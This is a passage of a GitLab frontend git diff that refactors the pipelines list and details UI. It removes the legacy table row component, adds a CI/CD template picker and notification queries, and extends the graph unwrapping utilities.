@@ -17,7 +17,7 @@ import { deprecatedCreateFlash as Flash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import eventHub from '../../event_hub';
-import JobItem from '../graph/job_item.vue';
+import JobItem from './job_item.vue';
export default {
components: {
@@ -103,7 +103,7 @@ export default {
<template>
<gl-dropdown
ref="dropdown"
- v-gl-tooltip.hover
+ v-gl-tooltip.hover.ds0
data-testid="mini-pipeline-graph-dropdown"
:title="stage.title"
variant="link"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_triggerer.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_triggerer.vue
index c707b395192..0528e4c147c 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_triggerer.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_triggerer.vue
@@ -17,19 +17,11 @@ export default {
user() {
return this.pipeline.user;
},
- classes() {
- const triggererClass = 'pipeline-triggerer';
-
- if (this.glFeatures.newPipelinesTable) {
- return triggererClass;
- }
- return `table-section section-10 d-none d-md-block ${triggererClass}`;
- },
},
};
</script>
<template>
- <div :class="classes" data-testid="pipeline-triggerer">
+ <div class="pipeline-triggerer" data-testid="pipeline-triggerer">
<user-avatar-link
v-if="user"
:link-href="user.path"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
index 0de520a2ca7..d39e120dc6c 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
@@ -49,19 +49,11 @@ export default {
autoDevopsHelpPath() {
return helpPagePath('topics/autodevops/index.md');
},
- classes() {
- const tagsClass = 'pipeline-tags';
-
- if (this.glFeatures.newPipelinesTable) {
- return tagsClass;
- }
- return `table-section section-10 d-none d-md-block ${tagsClass}`;
- },
},
};
</script>
<template>
- <div :class="classes" data-testid="pipeline-url-table-cell">
+ <div class="pipeline-tags" data-testid="pipeline-url-table-cell">
<gl-link
:href="pipeline.path"
data-testid="pipeline-url-link"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
index 19d93e7d083..f14a582d731 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
@@ -1,5 +1,5 @@
<script>
-import { GlIcon, GlLoadingIcon } from '@gitlab/ui';
+import { GlEmptyState, GlIcon, GlLoadingIcon } from '@gitlab/ui';
import { isEqual } from 'lodash';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { getParameterByName } from '~/lib/utils/common_utils';
@@ -10,7 +10,6 @@ import { ANY_TRIGGER_AUTHOR, RAW_TEXT_WARNING, FILTER_TAG_IDENTIFIER } from '../
import PipelinesMixin from '../../mixins/pipelines_mixin';
import PipelinesService from '../../services/pipelines_service';
import { validateParams } from '../../utils';
-import SvgBlankState from './blank_state.vue';
import EmptyState from './empty_state.vue';
import NavigationControls from './nav_controls.vue';
import PipelinesFilteredSearch from './pipelines_filtered_search.vue';
@@ -19,13 +18,13 @@ import PipelinesTableComponent from './pipelines_table.vue';
export default {
components: {
EmptyState,
+ GlEmptyState,
GlIcon,
GlLoadingIcon,
NavigationTabs,
NavigationControls,
PipelinesFilteredSearch,
PipelinesTableComponent,
- SvgBlankState,
TablePagination,
},
mixins: [PipelinesMixin],
@@ -314,6 +313,7 @@ export default {
</div>
<pipelines-filtered-search
+ v-if="stateToRender !== $options.stateMap.emptyState"
:project-id="projectId"
:params="validatedParams"
@filterPipelines="filterPipelines"
@@ -333,19 +333,19 @@ export default {
:can-set-ci="canCreatePipeline"
/>
- <svg-blank-state
+ <gl-empty-state
v-else-if="stateToRender === $options.stateMap.error"
:svg-path="errorStateSvgPath"
- :message="
+ :title="
s__(`Pipelines|There was an error fetching the pipelines.
Try again in a few moments or contact your support team.`)
"
/>
- <svg-blank-state
+ <gl-empty-state
v-else-if="stateToRender === $options.stateMap.emptyTab"
:svg-path="noPipelinesSvgPath"
- :message="emptyTabMessage"
+ :title="emptyTabMessage"
/>
<div v-else-if="stateToRender === $options.stateMap.tableList">
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue
new file mode 100644
index 00000000000..c2ec8c57fd7
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue
@@ -0,0 +1,143 @@
+<script>
+import { GlButton, GlCard, GlSprintf } from '@gitlab/ui';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
+import { mergeUrlParams } from '~/lib/utils/url_utility';
+import { s__, sprintf } from '~/locale';
+import { HELLO_WORLD_TEMPLATE_KEY } from '../../constants';
+
+export default {
+ components: {
+ GlButton,
+ GlCard,
+ GlSprintf,
+ },
+ HELLO_WORLD_TEMPLATE_KEY,
+ i18n: {
+ cta: s__('Pipelines|Use template'),
+ testTemplates: {
+ title: s__('Pipelines|Use a sample CI/CD template'),
+ subtitle: s__(
+ 'Pipelines|Use a sample %{codeStart}.gitlab-ci.yml%{codeEnd} template file to explore how CI/CD works.',
+ ),
+ helloWorld: {
+ title: s__('Pipelines|“Hello world†with GitLab CI/CD'),
+ description: s__(
+ 'Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script.',
+ ),
+ },
+ },
+ templates: {
+ title: s__('Pipelines|Use a CI/CD template'),
+ subtitle: s__(
+ "Pipelines|Use a template based on your project's language or framework to get started with GitLab CI/CD.",
+ ),
+ description: s__('Pipelines|CI/CD template to test and deploy your %{name} project.'),
+ },
+ },
+ inject: ['addCiYmlPath', 'suggestedCiTemplates'],
+ data() {
+ const templates = this.suggestedCiTemplates.map(({ name, logo }) => {
+ return {
+ name,
+ logo,
+ link: mergeUrlParams({ template: name }, this.addCiYmlPath),
+ description: sprintf(this.$options.i18n.templates.description, { name }),
+ };
+ });
+
+ return {
+ templates,
+ helloWorldTemplateUrl: mergeUrlParams(
+ { template: HELLO_WORLD_TEMPLATE_KEY },
+ this.addCiYmlPath,
+ ),
+ };
+ },
+ methods: {
+ trackEvent(template) {
+ const tracking = new ExperimentTracking('pipeline_empty_state_templates', {
+ label: template,
+ });
+ tracking.event('template_clicked');
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <h2 class="gl-font-size-h2 gl-text-gray-900">{{ $options.i18n.testTemplates.title }}</h2>
+ <p class="gl-text-gray-800 gl-mb-6">
+ <gl-sprintf :message="$options.i18n.testTemplates.subtitle">
+ <template #code="{ content }">
+ <code>{{ content }}</code>
+ </template>
+ </gl-sprintf>
+ </p>
+
+ <div class="row gl-mb-8">
+ <div class="col-lg-3">
+ <gl-card>
+ <div class="gl-flex-direction-row">
+ <div class="gl-py-5"><gl-emoji class="gl-font-size-h2-xl" data-name="wave" /></div>
+ <div class="gl-mb-3">
+ <strong class="gl-text-gray-800 gl-mb-2">{{
+ $options.i18n.testTemplates.helloWorld.title
+ }}</strong>
+ </div>
+ <p class="gl-font-sm">{{ $options.i18n.testTemplates.helloWorld.description }}</p>
+ </div>
+
+ <gl-button
+ category="primary"
+ variant="confirm"
+ :href="helloWorldTemplateUrl"
+ data-testid="test-template-link"
+ @click="trackEvent($options.HELLO_WORLD_TEMPLATE_KEY)"
+ >
+ {{ $options.i18n.cta }}
+ </gl-button>
+ </gl-card>
+ </div>
+ </div>
+
+ <h2 class="gl-font-size-h2 gl-text-gray-900">{{ $options.i18n.templates.title }}</h2>
+ <p class="gl-text-gray-800 gl-mb-6">{{ $options.i18n.templates.subtitle }}</p>
+
+ <ul class="gl-list-style-none gl-pl-0">
+ <li v-for="template in templates" :key="template.name">
+ <div
+ class="gl-display-flex gl-align-items-center gl-justify-content-space-between gl-border-b-solid gl-border-b-1 gl-border-b-gray-100 gl-pb-3 gl-pt-3"
+ >
+ <div class="gl-display-flex gl-flex-direction-row gl-align-items-center">
+ <img
+ width="64"
+ height="64"
+ :src="template.logo"
+ class="gl-mr-6"
+ data-testid="template-logo"
+ />
+ <div class="gl-flex-direction-row">
+ <div class="gl-mb-3">
+ <strong class="gl-text-gray-800" data-testid="template-name">{{
+ template.name
+ }}</strong>
+ </div>
+ <p class="gl-mb-0 gl-font-sm" data-testid="template-description">
+ {{ template.description }}
+ </p>
+ </div>
+ </div>
+ <gl-button
+ category="primary"
+ variant="confirm"
+ :href="template.link"
+ data-testid="template-link"
+ @click="trackEvent(template.name)"
+ >
+ {{ $options.i18n.cta }}
+ </gl-button>
+ </div>
+ </li>
+ </ul>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue
index aa27aa7e50d..47fc7023222 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue
@@ -1,7 +1,6 @@
<script>
import { GlTable, GlTooltipDirective } from '@gitlab/ui';
import { s__ } from '~/locale';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import eventHub from '../../event_hub';
import PipelineMiniGraph from './pipeline_mini_graph.vue';
import PipelineOperations from './pipeline_operations.vue';
@@ -10,7 +9,6 @@ import PipelineTriggerer from './pipeline_triggerer.vue';
import PipelineUrl from './pipeline_url.vue';
import PipelinesCommit from './pipelines_commit.vue';
import PipelinesStatusBadge from './pipelines_status_badge.vue';
-import PipelinesTableRowComponent from './pipelines_table_row.vue';
import PipelinesTimeago from './time_ago.vue';
const DEFAULT_TD_CLASS = 'gl-p-5!';
@@ -83,7 +81,6 @@ export default {
PipelineOperations,
PipelinesStatusBadge,
PipelineStopModal,
- PipelinesTableRowComponent,
PipelinesTimeago,
PipelineTriggerer,
PipelineUrl,
@@ -91,7 +88,6 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
- mixins: [glFeatureFlagMixin()],
props: {
pipelines: {
type: Array,
@@ -149,41 +145,7 @@ export default {
</script>
<template>
<div class="ci-table">
- <div v-if="!glFeatures.newPipelinesTable" data-testid="legacy-ci-table">
- <div class="gl-responsive-table-row table-row-header" role="row">
- <div class="table-section section-10 js-pipeline-status" role="rowheader">
- {{ s__('Pipeline|Status') }}
- </div>
- <div class="table-section section-10 js-pipeline-info pipeline-info" role="rowheader">
- {{ s__('Pipeline|Pipeline') }}
- </div>
- <div class="table-section section-10 js-triggerer-info triggerer-info" role="rowheader">
- {{ s__('Pipeline|Triggerer') }}
- </div>
- <div class="table-section section-20 js-pipeline-commit pipeline-commit" role="rowheader">
- {{ s__('Pipeline|Commit') }}
- </div>
- <div class="table-section section-15 js-pipeline-stages pipeline-stages" role="rowheader">
- {{ s__('Pipeline|Stages') }}
- </div>
- <div class="table-section section-15" role="rowheader"></div>
- <div class="table-section section-20" role="rowheader">
- <slot name="table-header-actions"></slot>
- </div>
- </div>
- <pipelines-table-row-component
- v-for="model in pipelines"
- :key="model.id"
- :pipeline="model"
- :pipeline-schedule-url="pipelineScheduleUrl"
- :update-graph-dropdown="updateGraphDropdown"
- :view-type="viewType"
- :canceling-pipeline="cancelingPipeline"
- />
- </div>
-
<gl-table
- v-else
:fields="$options.fields"
:items="pipelines"
tbody-tr-class="commit"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue
deleted file mode 100644
index f684a0b0fcd..00000000000
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue
+++ /dev/null
@@ -1,269 +0,0 @@
-<script>
-import { GlButton, GlTooltipDirective, GlModalDirective } from '@gitlab/ui';
-import { __ } from '~/locale';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
-import CommitComponent from '~/vue_shared/components/commit.vue';
-import eventHub from '../../event_hub';
-import PipelineMiniGraph from './pipeline_mini_graph.vue';
-import PipelineTriggerer from './pipeline_triggerer.vue';
-import PipelineUrl from './pipeline_url.vue';
-import PipelinesArtifactsComponent from './pipelines_artifacts.vue';
-import PipelinesManualActionsComponent from './pipelines_manual_actions.vue';
-import PipelinesTimeago from './time_ago.vue';
-
-export default {
- i18n: {
- cancelTitle: __('Cancel'),
- redeployTitle: __('Retry'),
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- GlModalDirective,
- },
- components: {
- PipelinesManualActionsComponent,
- PipelinesArtifactsComponent,
- CommitComponent,
- PipelineMiniGraph,
- PipelineUrl,
- PipelineTriggerer,
- CiBadge,
- PipelinesTimeago,
- GlButton,
- },
- props: {
- pipeline: {
- type: Object,
- required: true,
- },
- pipelineScheduleUrl: {
- type: String,
- required: false,
- default: '',
- },
- updateGraphDropdown: {
- type: Boolean,
- required: false,
- default: false,
- },
- viewType: {
- type: String,
- required: true,
- },
- cancelingPipeline: {
- type: Number,
- required: false,
- default: null,
- },
- },
- data() {
- return {
- isRetrying: false,
- };
- },
- computed: {
- actions() {
- if (!this.pipeline || !this.pipeline.details) {
- return [];
- }
- const { details } = this.pipeline;
- return [...(details.manual_actions || []), ...(details.scheduled_actions || [])];
- },
- /**
- * If provided, returns the commit tag.
- * Needed to render the commit component column.
- *
- * This field needs a lot of verification, because of different possible cases:
- *
- * 1. person who is an author of a commit might be a GitLab user
- * 2. if person who is an author of a commit is a GitLab user, they can have a GitLab avatar
- * 3. If GitLab user does not have avatar they might have a Gravatar
- * 4. If committer is not a GitLab User they can have a Gravatar
- * 5. We do not have consistent API object in this case
- * 6. We should improve API and the code
- *
- * @returns {Object|Undefined}
- */
- commitAuthor() {
- let commitAuthorInformation;
-
- if (!this.pipeline || !this.pipeline.commit) {
- return null;
- }
-
- // 1. person who is an author of a commit might be a GitLab user
- if (this.pipeline.commit.author) {
- // 2. if person who is an author of a commit is a GitLab user
- // they can have a GitLab avatar
- if (this.pipeline.commit.author.avatar_url) {
- commitAuthorInformation = this.pipeline.commit.author;
-
- // 3. If GitLab user does not have avatar, they might have a Gravatar
- } else if (this.pipeline.commit.author_gravatar_url) {
- commitAuthorInformation = {
- ...this.pipeline.commit.author,
- avatar_url: this.pipeline.commit.author_gravatar_url,
- };
- }
- // 4. If committer is not a GitLab User, they can have a Gravatar
- } else {
- commitAuthorInformation = {
- avatar_url: this.pipeline.commit.author_gravatar_url,
- path: `mailto:${this.pipeline.commit.author_email}`,
- username: this.pipeline.commit.author_name,
- };
- }
-
- return commitAuthorInformation;
- },
- commitTag() {
- return this.pipeline?.ref?.tag;
- },
- commitRef() {
- return this.pipeline?.ref;
- },
- commitUrl() {
- return this.pipeline?.commit?.commit_path;
- },
- commitShortSha() {
- return this.pipeline?.commit?.short_id;
- },
- commitTitle() {
- return this.pipeline?.commit?.title;
- },
- pipelineStatus() {
- return this.pipeline?.details?.status ?? {};
- },
- hasStages() {
- return this.pipeline?.details?.stages?.length > 0;
- },
- displayPipelineActions() {
- return (
- this.pipeline.flags.retryable ||
- this.pipeline.flags.cancelable ||
- this.pipeline.details.manual_actions.length ||
- this.pipeline.details.artifacts.length
- );
- },
- isChildView() {
- return this.viewType === 'child';
- },
- isCancelling() {
- return this.cancelingPipeline === this.pipeline.id;
- },
- },
- watch: {
- pipeline() {
- this.isRetrying = false;
- },
- },
- methods: {
- handleCancelClick() {
- eventHub.$emit('openConfirmationModal', {
- pipeline: this.pipeline,
- endpoint: this.pipeline.cancel_path,
- });
- },
- handleRetryClick() {
- this.isRetrying = true;
- eventHub.$emit('retryPipeline', this.pipeline.retry_path);
- },
- handlePipelineActionRequestComplete() {
- // warn the pipelines table to update
- eventHub.$emit('refreshPipelinesTable');
- },
- },
-};
-</script>
-<template>
- <div class="commit gl-responsive-table-row">
- <div class="table-section section-10 commit-link">
- <div class="table-mobile-header" role="rowheader">{{ s__('Pipeline|Status') }}</div>
- <div class="table-mobile-content">
- <ci-badge
- :status="pipelineStatus"
- :show-text="!isChildView"
- :icon-classes="'gl-vertical-align-middle!'"
- data-qa-selector="pipeline_commit_status"
- />
- </div>
- </div>
-
- <pipeline-url :pipeline="pipeline" :pipeline-schedule-url="pipelineScheduleUrl" />
- <pipeline-triggerer :pipeline="pipeline" />
-
- <div class="table-section section-wrap section-20">
- <div class="table-mobile-header" role="rowheader">{{ s__('Pipeline|Commit') }}</div>
- <div class="table-mobile-content">
- <commit-component
- :tag="commitTag"
- :commit-ref="commitRef"
- :commit-url="commitUrl"
- :merge-request-ref="pipeline.merge_request"
- :short-sha="commitShortSha"
- :title="commitTitle"
- :author="commitAuthor"
- :show-ref-info="!isChildView"
- />
- </div>
- </div>
-
- <div class="table-section section-wrap section-15 stage-cell">
- <div class="table-mobile-header" role="rowheader">{{ s__('Pipeline|Stages') }}</div>
- <div class="table-mobile-content">
- <pipeline-mini-graph
- v-if="hasStages"
- :stages="pipeline.details.stages"
- :update-dropdown="updateGraphDropdown"
- @pipelineActionRequestComplete="handlePipelineActionRequestComplete"
- />
- </div>
- </div>
-
- <pipelines-timeago class="gl-text-right" :pipeline="pipeline" />
-
- <div
- v-if="displayPipelineActions"
- class="table-section section-20 table-button-footer pipeline-actions"
- >
- <div class="btn-group table-action-buttons">
- <pipelines-manual-actions-component v-if="actions.length > 0" :actions="actions" />
-
- <pipelines-artifacts-component
- v-if="pipeline.details.artifacts.length"
- :artifacts="pipeline.details.artifacts"
- />
-
- <gl-button
- v-if="pipeline.flags.retryable"
- v-gl-tooltip.hover
- :aria-label="$options.i18n.redeployTitle"
- :title="$options.i18n.redeployTitle"
- :disabled="isRetrying"
- :loading="isRetrying"
- class="js-pipelines-retry-button"
- data-qa-selector="pipeline_retry_button"
- icon="repeat"
- variant="default"
- category="secondary"
- @click="handleRetryClick"
- />
-
- <gl-button
- v-if="pipeline.flags.cancelable"
- v-gl-tooltip.hover
- v-gl-modal-directive="'confirmation-modal'"
- :aria-label="$options.i18n.cancelTitle"
- :title="$options.i18n.cancelTitle"
- :loading="isCancelling"
- :disabled="isCancelling"
- icon="close"
- variant="danger"
- category="primary"
- class="js-pipelines-cancel-button"
- @click="handleCancelClick"
- />
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
index 543bdf94307..e6b03751350 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
@@ -22,6 +22,12 @@ export default {
finishedTime() {
return this.pipeline?.details?.finished_at;
},
+ skipped() {
+ return this.pipeline?.details?.status?.label === 'skipped';
+ },
+ stuck() {
+ return this.pipeline.flags.stuck;
+ },
durationFormatted() {
const date = new Date(this.duration * 1000);
@@ -42,46 +48,50 @@ export default {
return `${hh}:${mm}:${ss}`;
},
- legacySectionClass() {
- return !this.glFeatures.newPipelinesTable ? 'table-section section-15' : '';
- },
- legacyTableMobileClass() {
- return !this.glFeatures.newPipelinesTable ? 'table-mobile-content' : '';
- },
showInProgress() {
- return !this.duration && !this.finishedTime;
+ return !this.duration && !this.finishedTime && !this.skipped;
+ },
+ showSkipped() {
+ return !this.duration && !this.finishedTime && this.skipped;
},
},
};
</script>
<template>
- <div :class="legacySectionClass">
- <div v-if="!glFeatures.newPipelinesTable" class="table-mobile-header" role="rowheader">
- {{ s__('Pipeline|Duration') }}
- </div>
- <div :class="legacyTableMobileClass">
- <span v-if="showInProgress" data-testid="pipeline-in-progress">
- <gl-icon name="hourglass" class="gl-vertical-align-baseline! gl-mr-2" :size="12" />
- {{ s__('Pipeline|In progress') }}
- </span>
+ <div>
+ <span v-if="showInProgress" data-testid="pipeline-in-progress">
+ <gl-icon v-if="stuck" name="warning" class="gl-mr-2" :size="12" data-testid="warning-icon" />
+ <gl-icon
+ v-else
+ name="hourglass"
+ class="gl-vertical-align-baseline! gl-mr-2"
+ :size="12"
+ data-testid="hourglass-icon"
+ />
+ {{ s__('Pipeline|In progress') }}
+ </span>
+
+ <span v-if="showSkipped" data-testid="pipeline-skipped">
+ <gl-icon name="status_skipped_borderless" class="gl-mr-2" :size="16" />
+ {{ s__('Pipeline|Skipped') }}
+ </span>
- <p v-if="duration" class="duration">
- <gl-icon name="timer" class="gl-vertical-align-baseline!" :size="12" />
- {{ durationFormatted }}
- </p>
+ <p v-if="duration" class="duration">
+ <gl-icon name="timer" class="gl-vertical-align-baseline!" :size="12" />
+ {{ durationFormatted }}
+ </p>
- <p v-if="finishedTime" class="finished-at d-none d-md-block">
- <gl-icon name="calendar" class="gl-vertical-align-baseline!" :size="12" />
+ <p v-if="finishedTime" class="finished-at d-none d-md-block">
+ <gl-icon name="calendar" class="gl-vertical-align-baseline!" :size="12" />
- <time
- v-gl-tooltip
- :title="tooltipTitle(finishedTime)"
- data-placement="top"
- data-container="body"
- >
- {{ timeFormatted(finishedTime) }}
- </time>
- </p>
- </div>
+ <time
+ v-gl-tooltip
+ :title="tooltipTitle(finishedTime)"
+ data-placement="top"
+ data-container="body"
+ >
+ {{ timeFormatted(finishedTime) }}
+ </time>
+ </p>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue b/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue
index d33d4e7dfd0..79b1b6af38b 100644
--- a/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue
+++ b/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue
@@ -72,6 +72,7 @@ export default {
size="small"
class="gl-mr-3 js-back-button"
icon="angle-left"
+ :aria-label="__('Go back')"
@click="onBackClick"
/>
diff --git a/app/assets/javascripts/pipelines/components/unwrapping_utils.js b/app/assets/javascripts/pipelines/components/unwrapping_utils.js
index 15073079c0a..2d24beb8323 100644
--- a/app/assets/javascripts/pipelines/components/unwrapping_utils.js
+++ b/app/assets/javascripts/pipelines/components/unwrapping_utils.js
@@ -1,15 +1,33 @@
+import { reportToSentry } from '../utils';
+
const unwrapGroups = (stages) => {
- return stages.map((stage) => {
+ return stages.map((stage, idx) => {
const {
groups: { nodes: groups },
} = stage;
- return { ...stage, groups };
+
+ /*
+ Being peformance conscious here means we don't want to spread and copy the
+ group value just to add one parameter.
+ */
+ /* eslint-disable no-param-reassign */
+ const groupsWithStageName = groups.map((group) => {
+ group.stageName = stage.name;
+ return group;
+ });
+ /* eslint-enable no-param-reassign */
+
+ return { node: { ...stage, groups: groupsWithStageName }, lookup: { stageIdx: idx } };
});
};
const unwrapNodesWithName = (jobArray, prop, field = 'name') => {
+ if (jobArray.length < 1) {
+ reportToSentry('unwrapping_utils', 'undefined_job_hunt, array empty from backend');
+ }
+
return jobArray.map((job) => {
- return { ...job, [prop]: job[prop].nodes.map((item) => item[field]) };
+ return { ...job, [prop]: job[prop].nodes.map((item) => item[field] || '') };
});
};
@@ -17,20 +35,34 @@ const unwrapJobWithNeeds = (denodedJobArray) => {
return unwrapNodesWithName(denodedJobArray, 'needs');
};
-const unwrapStagesWithNeeds = (denodedStages) => {
+const unwrapStagesWithNeedsAndLookup = (denodedStages) => {
const unwrappedNestedGroups = unwrapGroups(denodedStages);
- const nodes = unwrappedNestedGroups.map((node) => {
+ const lookupMap = {};
+
+ const nodes = unwrappedNestedGroups.map(({ node, lookup }) => {
const { groups } = node;
- const groupsWithJobs = groups.map((group) => {
+ const groupsWithJobs = groups.map((group, idx) => {
const jobs = unwrapJobWithNeeds(group.jobs.nodes);
+
+ lookupMap[group.name] = { ...lookup, groupIdx: idx };
return { ...group, jobs };
});
return { ...node, groups: groupsWithJobs };
});
- return nodes;
+ return { stages: nodes, lookup: lookupMap };
+};
+
+const unwrapStagesWithNeeds = (denodedStages) => {
+ return unwrapStagesWithNeedsAndLookup(denodedStages).stages;
};
-export { unwrapGroups, unwrapNodesWithName, unwrapJobWithNeeds, unwrapStagesWithNeeds };
+export {
+ unwrapGroups,
+ unwrapJobWithNeeds,
+ unwrapNodesWithName,
+ unwrapStagesWithNeeds,
+ unwrapStagesWithNeedsAndLookup,
+};
diff --git a/app/assets/javascripts/pipelines/constants.js b/app/assets/javascripts/pipelines/constants.js
index 21b114825a6..01705e7726f 100644
--- a/app/assets/javascripts/pipelines/constants.js
+++ b/app/assets/javascripts/pipelines/constants.js
@@ -35,3 +35,6 @@ export const POST_FAILURE = 'post_failure';
export const UNSUPPORTED_DATA = 'unsupported_data';
export const CHILD_VIEW = 'child';
+
+// The key of the template is the same as the filename
+export const HELLO_WORLD_TEMPLATE_KEY = 'Hello-World';
diff --git a/app/assets/javascripts/pipelines/graphql/mutations/dismiss_pipeline_notification.graphql b/app/assets/javascripts/pipelines/graphql/mutations/dismiss_pipeline_notification.graphql
new file mode 100644
index 00000000000..e4fd55a28be
--- /dev/null
+++ b/app/assets/javascripts/pipelines/graphql/mutations/dismiss_pipeline_notification.graphql
@@ -0,0 +1,5 @@
+mutation DismissPipelineNotification($featureName: String!) {
+ userCalloutCreate(input: { featureName: $featureName }) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql
index c73b186739e..887c217da41 100644
--- a/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql
@@ -1,6 +1,7 @@
query getDagVisData($projectPath: ID!, $iid: ID!) {
project(fullPath: $projectPath) {
pipeline(iid: $iid) {
+ id
stages {
nodes {
name
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_user_callouts.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_user_callouts.query.graphql
new file mode 100644
index 00000000000..12b391e41ac
--- /dev/null
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_user_callouts.query.graphql
@@ -0,0 +1,13 @@
+query getUser {
+ currentUser {
+ id
+ __typename
+ callouts {
+ __typename
+ nodes {
+ __typename
+ featureName
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js b/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
index 2321728e30c..d9c9289f66e 100644
--- a/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
+++ b/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
@@ -190,7 +190,7 @@ export default {
.then(() => this.updateTable())
.catch(() => {
createFlash(
- __('An error occurred while trying to run a new pipeline for this Merge Request.'),
+ __('An error occurred while trying to run a new pipeline for this merge request.'),
);
})
.finally(() => this.store.toggleIsRunningPipeline(false));
diff --git a/app/assets/javascripts/pipelines/pipeline_details_bundle.js b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
index c3444f38ea0..a2bc049c3c7 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_bundle.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
@@ -3,11 +3,15 @@ import { deprecatedCreateFlash as Flash } from '~/flash';
import { __ } from '~/locale';
import Translate from '~/vue_shared/translate';
import PipelineGraphLegacy from './components/graph/graph_component_legacy.vue';
-import { reportToSentry } from './components/graph/utils';
import TestReports from './components/test_reports/test_reports.vue';
import GraphBundleMixin from './mixins/graph_pipeline_bundle_mixin';
import createDagApp from './pipeline_details_dag';
+import { createPipelinesDetailApp } from './pipeline_details_graph';
+import { createPipelineHeaderApp } from './pipeline_details_header';
+import { createPipelineNotificationApp } from './pipeline_details_notification';
+import { apolloProvider } from './pipeline_shared_client';
import createTestReportsStore from './stores/test_reports';
+import { reportToSentry } from './utils';
Vue.use(Translate);
@@ -15,6 +19,7 @@ const SELECTORS = {
PIPELINE_DETAILS: '.js-pipeline-details-vue',
PIPELINE_GRAPH: '#js-pipeline-graph-vue',
PIPELINE_HEADER: '#js-pipeline-header-vue',
+ PIPELINE_NOTIFICATION: '#js-pipeline-notification',
PIPELINE_TESTS: '#js-pipeline-tests-detail',
};
@@ -79,21 +84,28 @@ const createTestDetails = () => {
};
export default async function initPipelineDetailsBundle() {
- createTestDetails();
- createDagApp();
-
const canShowNewPipelineDetails =
gon.features.graphqlPipelineDetails || gon.features.graphqlPipelineDetailsUsers;
const { dataset } = document.querySelector(SELECTORS.PIPELINE_DETAILS);
- if (canShowNewPipelineDetails) {
+ try {
+ createPipelineHeaderApp(SELECTORS.PIPELINE_HEADER, apolloProvider, dataset.graphqlResourceEtag);
+ } catch {
+ Flash(__('An error occurred while loading a section of this page.'));
+ }
+
+ if (gon.features.pipelineGraphLayersView) {
try {
- const { createPipelinesDetailApp } = await import(
- /* webpackChunkName: 'createPipelinesDetailApp' */ './pipeline_details_graph'
- );
+ createPipelineNotificationApp(SELECTORS.PIPELINE_NOTIFICATION, apolloProvider);
+ } catch {
+ Flash(__('An error occurred while loading a section of this page.'));
+ }
+ }
- createPipelinesDetailApp(SELECTORS.PIPELINE_GRAPH, dataset);
+ if (canShowNewPipelineDetails) {
+ try {
+ createPipelinesDetailApp(SELECTORS.PIPELINE_GRAPH, apolloProvider, dataset);
} catch {
Flash(__('An error occurred while loading the pipeline.'));
}
@@ -107,12 +119,6 @@ export default async function initPipelineDetailsBundle() {
createLegacyPipelinesDetailApp(mediator);
}
- try {
- const { createPipelineHeaderApp } = await import(
- /* webpackChunkName: 'createPipelineHeaderApp' */ './pipeline_details_header'
- );
- createPipelineHeaderApp(SELECTORS.PIPELINE_HEADER);
- } catch {
- Flash(__('An error occurred while loading a section of this page.'));
- }
+ createDagApp(apolloProvider);
+ createTestDetails();
}
